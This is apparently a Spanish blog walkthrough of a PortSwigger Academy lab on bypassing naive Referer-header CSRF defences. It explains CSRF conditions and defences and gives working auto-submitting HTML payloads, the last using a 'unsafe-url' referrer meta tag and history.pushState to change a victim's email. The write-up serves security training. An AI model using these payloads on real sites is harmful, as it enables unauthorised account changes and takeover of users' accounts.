Entrada

CSRF Lab 12

CSRF Lab 12

Skills

  • CSRF with broken Referer validation

Certificaciones

  • eWPT
  • eWPTXv2
  • OSWE
  • BSCP

Descripción

Este laboratorio tiene una funcionalidad de cambio de correo electrónico que es vulnerable a CSRF. Intenta detectar y bloquear solicitudes entre dominios, pero su mecanismo de detección puede ser evadido. Para resolver el laboratorio, debemos usar nuestro servidor de explotación para alojar una página HTML que realice un ataque CSRF y cambie el correo electrónico del usuario que la visite. Podemos iniciar sesión en nuestra propia cuenta utilizando las siguientes credenciales: wiener:peter


Resolución

Al acceder a la web vemos esto

Al pulsar sobre My account y nos logueamos con la credenciales wiener:peter

Vemos que podemos cambiar nuestro email

Para resolver el laboratorio, debemos explotar un CSRF, el cual es una vulnerabilidad de seguridad web que permite a un atacante inducir a los usuarios a realizar acciones que no tienen intención de realizar. Permite a un atacante eludir parcialmente la política de same origin, que está diseñada para evitar que diferentes sitios web interfieran entre sí. Para que sea posible un ataque CSRF, deben cumplirse tres condiciones clave

  • Una acción relevante - Hay una acción dentro de la aplicación que el atacante tiene motivos para inducir. Puede ser una acción privilegiada (como modificar los permisos de otros usuarios) o cualquier acción sobre datos específicos del usuario (como cambiar la contraseña del usuario)

  • Manejo de sesiones basado en cookies - Para realizar la acción, se deben emitir una o más solicitudes HTTP, y la aplicación se basa únicamente en las cookies de sesión para identificar al usuario que realizó las solicitudes. No existe ningún otro mecanismo para realizar el seguimiento de las sesiones o validar las solicitudes de los usuarios

  • Sin parámetros de solicitud impredecibles - Las solicitudes que realizan la acción no contienen ningún parámetro cuyos valores el atacante no pueda determinar o adivinar. Por ejemplo, al hacer que un usuario cambie su contraseña, la función no es vulnerable si un atacante necesita saber el valor de la contraseña existente

Las defensas más comunes contra ataques CSRF con las que nos podemos encontrar son las siguientes

  • Token CSRF - Es un token único, secreto e impredecible generado por el servidor y compartido con el cliente. Para realizar una acción sensible, como enviar un formulario, el cliente debe incluir este token. Esto dificulta que un atacante genere solicitudes válidas en nombre de la víctima

  • Cookies SameSite - SameSite es un mecanismo de seguridad del navegador que regula cuándo se incluyen las cookies en las solicitudes de otros sitios web. Dado que las solicitudes para realizar acciones sensibles suelen requerir una cookie válida, es decir, una cookie que haya sido asignada tras una autenticación válida, las restricciones que aplica SameSite pueden impedir que un atacante desencadene estas acciones. Desde 2021, Chrome aplica por defecto las restricciones Lax SameSite, dado que este es el estándar, se espera que otros navegadores también lo adopten

  • Validación basada en Referer - Algunas aplicaciones hacen uso de la cabecera HTTP Referer para intentar defenderse de ataques CSRF, normalmente verificando que la petición se originó en el propio dominio de la web. Esto suele ser menos efectivo que la validación de tokens CSRF

Aparte de las defensas que emplean los CSRF tokens, algunas aplicaciones hacen uso del HTTP Referer header para intentar defenderse de los ataques CSRF, normalmente verificando que la solicitud se originó desde el dominio de la aplicación. Este enfoque generalmente es menos efectivo y suele ser susceptible de ser eludido

El HTTP Referer header es una cabecera de solicitud opcional que contiene la URL de la página web desde la que proviene una solicitud. Normalmente, los navegadores la agregan automáticamente cuando un usuario desencadena una solicitud HTTP, ya sea al hacer clic en un enlace o al enviar un formulario. Existen varios métodos que permiten que la página desde la que proviene la solicitud retenga o modifique el valor del Referer header, lo cual, se hace a menudo por razones de privacidad

Si nos abrimos las herramientas de desarrollador de Chrome vemos que el atributo SameSite tiene el valor None

Inspeccionamos la forma en la que se crea el formulario de cambio de email para usarlo como plantilla a la hora de construir nuestro payload

Creamos el payload y lo copiamos en el Exploit server

1
2
3
4
5
6
7
8
9
10
<html>
  <body>
    <form action="https://0a38008204f6d4ef9c0ef998009e00c3.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="testing@gmail.com">
    </form>
    <script>
         document.forms[0].submit();
    </script>
  </body>
</html>

Al hacer click en View exploit el ataque no funciona y nos arroja este mensaje

Si nos dirigimos a la extensión de Burp Suite Logger++ y revisamos la petición que acabamos de realizar, vemos que la cabecera Referer hace referencia a nuestro servidor de exploits

Si nos fijamos en la petición que hemos hecho al principio de cambio de email, vemos que esa sí que ha sido exitosa y que la única diferencia con la actual es el valor de la cabecera Referer

Algunas aplicaciones validan el header Referer de una forma ingenua, lo que permite que sea evadido. Por ejemplo, si la aplicación verifica que el dominio en el Referer comienza con un valor esperado, un atacante puede colocar ese valor como un subdominio dentro de su propio dominio

1
http://vulnerable-website.com.attacker-website.com/csrf-attack

Del mismo modo, si la aplicación solo valida que el Referer contiene su nombre de dominio, un atacante puede colocar el valor requerido en otra parte de la URL

1
http://attacker-website.com/csrf-attack?vulnerable-website.com

Aunque podemos identificar este comportamiento usando Burpsuite, a menudo descubriremos que este enfoque deja de funcionar al probar nuestro proof-of-concept en un navegador. Esto se debe a que para reducir el riesgo de que se filtren datos sensibles de esta manera, muchos navegadores ahora eliminan la cadena de consulta (?vulnerable-website.com) de la cabecera Referer por defecto

Podemos anular este comportamiento añadiendo la cabecera Referrer-Policy: unsafe-url a nuestro exploit. Esto garantiza que se envíe la URL completa, incluida la cadena de consulta (?vulnerable-website.com)

En este caso, la primera forma no es viable porque el servidor de explotación que nos proporcionan no lo permite. Sin embargo, la segunda forma sí funciona, ya que la web solo valida si el Referer contiene el nombre del dominio, sin importar si hay otras cadenas en la `URL

De acuerdo con la documentación de Mozilla https://developer.mozilla.org/en-US/docs/Web/API/History/pushState con history.pushState(state, unused, url), podemos cambiar la URL en el historial del navegador

1
2
3
4
5
6
7
8
9
10
11
<html>
  <body>
    <form action="https://0aae004404c5a6a2979c8bc400ef00f5.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="testing@gmail.com">
    </form>
    <script>
        history.pushState('', '', '/?0aae004404c5a6a2979c8bc400ef00f5.web-security-academy.net')
        document.forms[0].submit();
    </script>
  </body>
</html>

Al hacer click en View exploit nuevamente el ataque no funciona y nos arroja este mensaje otra vez

Si inspeccionamos la petición vemos que no se ha añadido /?0aae004404c5a6a2979c8bc400ef00f5.web-security-academy.net a la URL, esto se debe a que actualmente muchos navegadores eliminan cadena de consulta (?vulnerable-website.com) de la cabecera Referer por defecto

Como mencionamos anteriormente, podemos anular este comportamiento usando la cabecera Referrer-Policy: unsafe-url. Para indagar más profundamente podemos consultar la documentación de Mozilla https://developer.mozilla.org/es/docs/Web/HTTP/Reference/Headers/Referrer-Policy

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<html>
  <body>
    <head>
        <meta name="referrer" content="unsafe-url">
    </head>
    <form action="https://0aae004404c5a6a2979c8bc400ef00f5.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="testing@gmail.com">
    </form>
    <script>
        history.pushState('', '', '?0aae004404c5a6a2979c8bc400ef00f5.web-security-academy.net')
        document.forms[0].submit();
    </script>
  </body>
</html>

Si pulsamos sobre View exploit veremos que no nos arroja ningún error y nos cambia el email correctamente. Para completar el laboratorio debemos cambiar nuestro email o cambiar el email usado en el payload debido a que no puede haber dos usuarios con el mismo email

Esta entrada está licenciada bajo CC BY 4.0 por el autor.